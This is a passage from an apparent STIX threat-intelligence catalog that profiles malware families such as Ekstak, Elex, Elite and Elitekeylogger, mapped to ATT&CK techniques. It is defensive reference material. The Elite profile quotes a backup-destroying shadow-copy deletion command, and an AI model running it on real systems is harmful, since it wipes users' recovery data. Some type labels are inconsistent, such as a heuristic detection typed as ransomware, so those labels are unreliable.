          "description": "Canonical Malware Families Catalog Technical Profile for Ekidoa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ekidoa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2a2b420-39a9-502e-ad2a-0ba94f3f5119",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d144483c-1ff2-5bac-bcbe-62b3b628c82c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekidoa exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b09b3dff-7a91-567a-8b11-add08dd1e396",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d144483c-1ff2-5bac-bcbe-62b3b628c82c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekidoa exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4f4b7c9-a8bc-577c-80cc-80d7ff4620fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d144483c-1ff2-5bac-bcbe-62b3b628c82c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekidoa exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e18b9989-e24d-5eab-b40e-02f752402113",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d144483c-1ff2-5bac-bcbe-62b3b628c82c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekidoa exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8636fa3-54ca-5177-ab41-f4f23d95df33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d144483c-1ff2-5bac-bcbe-62b3b628c82c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekidoa exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5e52aa03-6aae-557d-b8d4-581ae4d1fb32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ekisoli",
      "description": "Trojan:Win32/Ekisoli is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ekisoli</b><br>To an end-user, an Ekisoli infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ekisoli is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ekisoli is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ekisoli frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ekisoli reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ekisoli",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ekisoli"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0282ecc6-6113-541b-81ed-83467ffd067c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e52aa03-6aae-557d-b8d4-581ae4d1fb32",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekisoli exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8df9b39c-171f-5796-8aef-efd9c9457970",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e52aa03-6aae-557d-b8d4-581ae4d1fb32",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekisoli exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6046d81-b599-5bb3-90b1-1f8d1cd35d4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e52aa03-6aae-557d-b8d4-581ae4d1fb32",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekisoli exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5acd605b-7b24-52a6-895f-9489ca40f2c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e52aa03-6aae-557d-b8d4-581ae4d1fb32",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekisoli exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a91e8ff-d14e-55e5-9b60-8759327e1bb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e52aa03-6aae-557d-b8d4-581ae4d1fb32",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekisoli exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5be61ffc-5132-57ab-af23-b010f792e5d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ekstak",
      "description": "Ekstak (cataloged across security software as Trojan.Win32.Ekstak, Trojan:Win32/Ekstak, and Worm:Win32/Ekstak) is a covert Windows backdoor trojan and spyware framework first detected in 2012. Built for persistent endpoint surveillance and unauthorized remote access, Ekstak establishes encrypted command-and-control communication with remote servers. Its surveillance engine captures keystrokes, grabs desktop screenshots, logs active window titles, and extracts cached credentials from local browsers and mail clients. Additionally, Ekstak includes backdoor loader capabilities that allow remote operators to upload and execute secondary binaries, execute shell commands, and tamper with security defenses. Ekstak droppers are commonly delivered via spear-phishing emails and bundled software downloads exploiting CVE-2010-2568 and CVE-2012-0158. (Observed samples in benchmark: 421)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Win32.Ekstak",
        "Trojan:Win32/Ekstak",
        "Worm:Win32/Ekstak",
        "Win32/Ekstak.A",
        "Backdoor.Ekstak"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ekstak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ekstak"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d8d8e9b-a8ae-579c-afaf-cdb6693b3c66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5be61ffc-5132-57ab-af23-b010f792e5d3",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekstak exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--643556d1-1f8e-5714-9d00-19fa8e6d1223",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5be61ffc-5132-57ab-af23-b010f792e5d3",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekstak exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--772abf63-6358-51b5-85ff-802b192f2e9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5be61ffc-5132-57ab-af23-b010f792e5d3",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekstak exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6715686f-b8b6-5fb3-8926-2e047845899c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5be61ffc-5132-57ab-af23-b010f792e5d3",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekstak exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2e5f40b-3802-551f-80cb-c7ad12bbebe8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5be61ffc-5132-57ab-af23-b010f792e5d3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekstak exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6bec952a-8057-5478-bd2f-f01ff98c08f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5be61ffc-5132-57ab-af23-b010f792e5d3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ekstak exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--19e20008-944b-5ae9-946f-d549b8033911",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Elemental",
      "description": "Elemental (cataloged in antivirus telemetry under detections including PUP.Elemental, Trojan:Win32/Elemental, and Win32/Elemental) is an adware packaging framework and potentially unwanted application active since 2015. Bundled into freeware media players, document readers, and torrent utilities, Elemental is distributed through pay-per-install monetization networks. Once installed on a Windows workstation, Elemental establishes persistent background helper tasks and alters web browser configurations across Google Chrome, Mozilla Firefox, and Microsoft Edge. It forcibly modifies browser shortcut target paths, injects intrusive full-page pop-up advertisements and sponsored affiliate banners into visited websites, and redirects search queries to partner advertising syndicates. Elemental also collects host system identifiers, browsing queries, and IP location data to optimize commercial ad-targeting campaigns. (Observed samples in benchmark: 82)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUP.Elemental",
        "Trojan:Win32/Elemental",
        "Win32/Elemental"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Elemental",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/elemental"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3599e6f-9684-5d25-8dcf-cac55873b304",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19e20008-944b-5ae9-946f-d549b8033911",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elemental exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4b0c1f3-6af0-514c-8dde-0845f3ace861",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19e20008-944b-5ae9-946f-d549b8033911",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elemental exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1591df8d-9c6f-5693-9d94-e32a56c0697c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19e20008-944b-5ae9-946f-d549b8033911",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elemental exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--182973f8-26e4-51f1-b885-b1d383e53c73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19e20008-944b-5ae9-946f-d549b8033911",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elemental exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--943525c1-e2e4-580d-a78b-38020c41d07e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19e20008-944b-5ae9-946f-d549b8033911",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elemental exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9a821434-b8b3-5928-b32d-cc694e28209a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Elevate",
      "description": "Behavior:Win32/Elevate is a critical **Heuristic Detection** that flags a running process actively attempting to perform Local Privilege Escalation (LPE). This occurs when an executable running with standard user rights exploits a vulnerability in the operating system or a misconfigured service to artificially grant itself `SYSTEM` or Administrator privileges. This is a mandatory step for advanced malware (like rootkits and ransomware) attempting to disable endpoint defenses.<br><br><b>Understanding Elevate (Privilege Escalation)</b><br>To an end-user, this behavior is invisible. For a security analyst, an Elevate detection is a severe alert indicating that an attacker or malware has already achieved initial access and is now breaking out of the security sandbox (`T1068`). Without administrative privileges, malware cannot install kernel drivers, disable EDR agents, or wipe volume shadow copies.<br><br><b>Execution and Escalation Mechanics</b><br>Malware triggers this detection by executing specific exploits against the Windows kernel (`win32k.sys`), abusing misconfigured Windows Services (e.g., weak folder permissions allowing DLL hijacking - `T1574.002`), or utilizing UAC (User Account Control) bypass techniques (`T1548.002`). A classic example is an attacker running a publicly available exploit like 'PrintNightmare' or 'Follina' from a standard user shell to spawn a new process with `NT AUTHORITY\\SYSTEM` privileges.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total loss of host security controls; the malware now owns the machine. Host-based IoCs include EDR alerts for anomalous parent-child process relationships (e.g., a standard user process suddenly spawning a child process running as SYSTEM). Security Event Logs (Event ID 4672 - Special privileges assigned to new logon) occurring unexpectedly are a strong indicator. EDR telemetry will often capture the specific API calls or exploit execution attempts associated with known CVEs. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Elevate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/elevate"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--508d569b-5be2-5147-a739-7b1c010a0acb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a821434-b8b3-5928-b32d-cc694e28209a",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elevate exhibits technique T1068 (Exploitation for Privilege Escalation (Exploiting OS vulnerabilities))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b962ab9e-31d1-5010-be23-e1bfdb01353c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a821434-b8b3-5928-b32d-cc694e28209a",
      "target_ref": "attack-pattern--2a9b7a70-b49c-5ee1-bc63-636b409c46ff",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elevate exhibits technique T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81a16681-8e9d-5858-b29c-e816e848837b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a821434-b8b3-5928-b32d-cc694e28209a",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elevate exhibits technique T1574.002 (Hijack Execution Flow: DLL Side-Loading (Exploiting service permissions))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dca6edf3-0767-54cf-b750-79120103f30d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Elex",
      "description": "Elex (documented extensively by Microsoft, Check Point, and Sophos under BrowserModifier:Win32/Elex, Adware:Win32/Elex, and linked to the massive 'Fireball' malware campaign operated by Beijing-based digital marketing firm Rafotech) is a notorious global browser hijacker, monetization platform, and adware framework active since 2014. At its height, the Elex/Fireball botnet infected over 250 million endpoints worldwide. Infiltrating systems through bundled freeware, fake Flash Player updates, and pay-per-install distributors, Elex deploys sophisticated anti-removal watchdogs and driver hooks. It forcefully alters default browser homepages and search providers across Chrome, Firefox, and Internet Explorer to fake search engines (such as yeabests.com, trotux.com, and hohosearch.com) that monetize search queries through Google and Yahoo affiliate feeds. Furthermore, Elex includes a modular backdoor capability allowing operators to remotely execute arbitrary code and download secondary payloads on infected endpoints. (Observed samples in benchmark: 31)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/Elex",
        "Adware:Win32/Elex",
        "Trojan.Elex",
        "Win32/Elex",
        "Fireball Malware",
        "Yeabests Browser Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Elex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/elex"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ad3a8008-0b2d-5154-9e30-3c2cdf1e73d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Elite",
      "description": "<h3>Executive Summary</h3>\nElite is a classification commonly associated with highly destructive ransomware variants (often adopting the \"Elite\" moniker in their ransom notes) or specialized, \"premium\" Trojans sold on underground forums. When operating as ransomware, Elite utilizes strong encryption algorithms to lock down the victim's critical data, demanding a ransom payment in exchange for the decryption key, causing immediate and severe operational downtime.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nElite variants are predominantly distributed via targeted phishing campaigns containing weaponized attachments, or by exploiting weak Remote Desktop Protocol (RDP) credentials exposed to the public internet.\n\nUpon successful execution, the malware operates with a focus on speed and destruction:\n<ul>\n<li><strong>Defense Evasion:</strong> Elite typically attempts to disable local Windows Defender services and terminate processes associated with enterprise backup solutions and database servers (e.g., SQL Server, Exchange) to ensure all data files are unlocked and ready for encryption.</li>\n<li><strong>Rapid File Encryption:</strong> The ransomware scans local drives and mapped network shares, targeting specific file extensions (documents, databases, archives). It encrypts these files using a strong cryptographic algorithm (often AES/RSA hybrid) and appends a specific extension (like `.elite`) to the encrypted files.</li>\n<li><strong>Shadow Copy Deletion:</strong> To prevent easy recovery, Elite almost universally executes commands (like `vssadmin.exe delete shadows /all /quiet`) to instantly destroy Windows Volume Shadow Copies and disable local backup routines.</li>\n<li><strong>Extortion:</strong> After the encryption phase is complete, it drops a ransom note outlining the payment instructions (usually in cryptocurrency) and threatening permanent data loss.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Elite ransomware infection is a catastrophic security incident resulting in immediate, severe operational downtime and massive data loss. Due to the strength of modern encryption, files cannot be recovered without the private key or a viable offline backup.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Physical Isolation:</strong> Disconnect the infected machine from the network immediately (pull the Ethernet cable/disable Wi-Fi) to halt the encryption process and prevent the ransomware from traversing SMB shares to encrypt centralized file servers.</li>\n<li><strong>Do Not Reboot:</strong> Leave the machine powered on. Rebooting may trigger further destructive routines or destroy the encryption key if it temporarily resides in RAM.</li>\n<li><strong>Restore from Offline Backups:</strong> The only reliable remediation is to completely wipe the infected system (bare-metal reinstall) and restore the data from secure, offline backups that were unreachable by the ransomware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Elite",
        "Trojan-Ransom.Win32.Elite",
        "Filecoder.Elite"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Elite",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/elite"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef50c33f-f490-59da-beab-6a5d51c912d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad3a8008-0b2d-5154-9e30-3c2cdf1e73d1",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elite exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--695ce134-26f0-5ba8-96ab-7d556a851f3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad3a8008-0b2d-5154-9e30-3c2cdf1e73d1",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elite exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dade30d5-e8c7-5dbc-9db3-266e625c162e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad3a8008-0b2d-5154-9e30-3c2cdf1e73d1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elite exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30336438-f171-59f6-8c8b-aa93e6804a42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad3a8008-0b2d-5154-9e30-3c2cdf1e73d1",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Elite exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e6bdafaf-e92d-500b-85b0-19f5bfa4cbae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Elitekeylogger",
      "description": "MonitoringTool:Win32/Elitekeylogger (often classified as Spyware or Stalkerware) represents a class of commercially available surveillance software. While marketed to concerned parents or employers for 'employee monitoring,' it is frequently abused by malicious actors (or abusive partners) for severe, covert privacy invasion. Elitekeylogger is designed to silently record nearly every aspect of a user's interaction with their computer, exfiltrating the stolen data to a remote server or a hidden local file, often operating deep within the Windows kernel to avoid detection.<br><br><b>Understanding Elitekeylogger (Stalkerware/Spyware)</b><br>To an end-user, Elitekeylogger is completely invisible; it does not display icons, taskbar entries, or standard uninstallation options, and it specifically hides its process from the Task Manager. For a security analyst, its presence indicates a severe breach of confidentiality. Unlike traditional malware seeking financial gain, spyware is focused entirely on targeted surveillance, capturing intimate details, passwords, and private communications.<br><br><b>Execution and Surveillance Mechanics</b><br>Elitekeylogger typically requires someone with physical access to the machine or administrative privileges to install it (`T1204.002`). Upon installation, it establishes deep persistence, often loading a low-level kernel driver (`T1014`) to intercept keystrokes at the hardware level before they even reach user-mode applications (`T1056.001`). This makes it incredibly difficult for standard AV to detect. Its capabilities are extensive: it captures all keystrokes, takes continuous or event-driven screenshots (`T1113`), records clipboard data (`T1115`), and actively steals credentials stored in web browsers (`T1555`). The captured data is compressed, encrypted, and periodically exfiltrated via email (SMTP) or direct upload to the vendor's cloud dashboard (`T1048`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of privacy and credential compromise. Host-based IoCs include EDR alerts for anomalous, unsigned kernel drivers loading during boot, or the presence of hidden, 